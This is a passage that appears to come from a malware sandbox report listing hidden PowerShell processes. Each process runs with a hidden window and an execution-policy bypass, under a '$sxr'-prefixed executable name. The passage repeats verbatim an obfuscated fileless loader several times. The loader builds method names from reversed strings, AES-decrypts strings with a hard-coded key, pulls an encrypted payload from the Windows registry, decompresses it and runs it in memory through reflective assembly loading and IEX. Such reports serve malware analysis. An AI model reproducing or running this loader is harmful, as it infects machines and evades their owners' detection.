$kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:7828
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        
        PID:4448
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:1892
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object 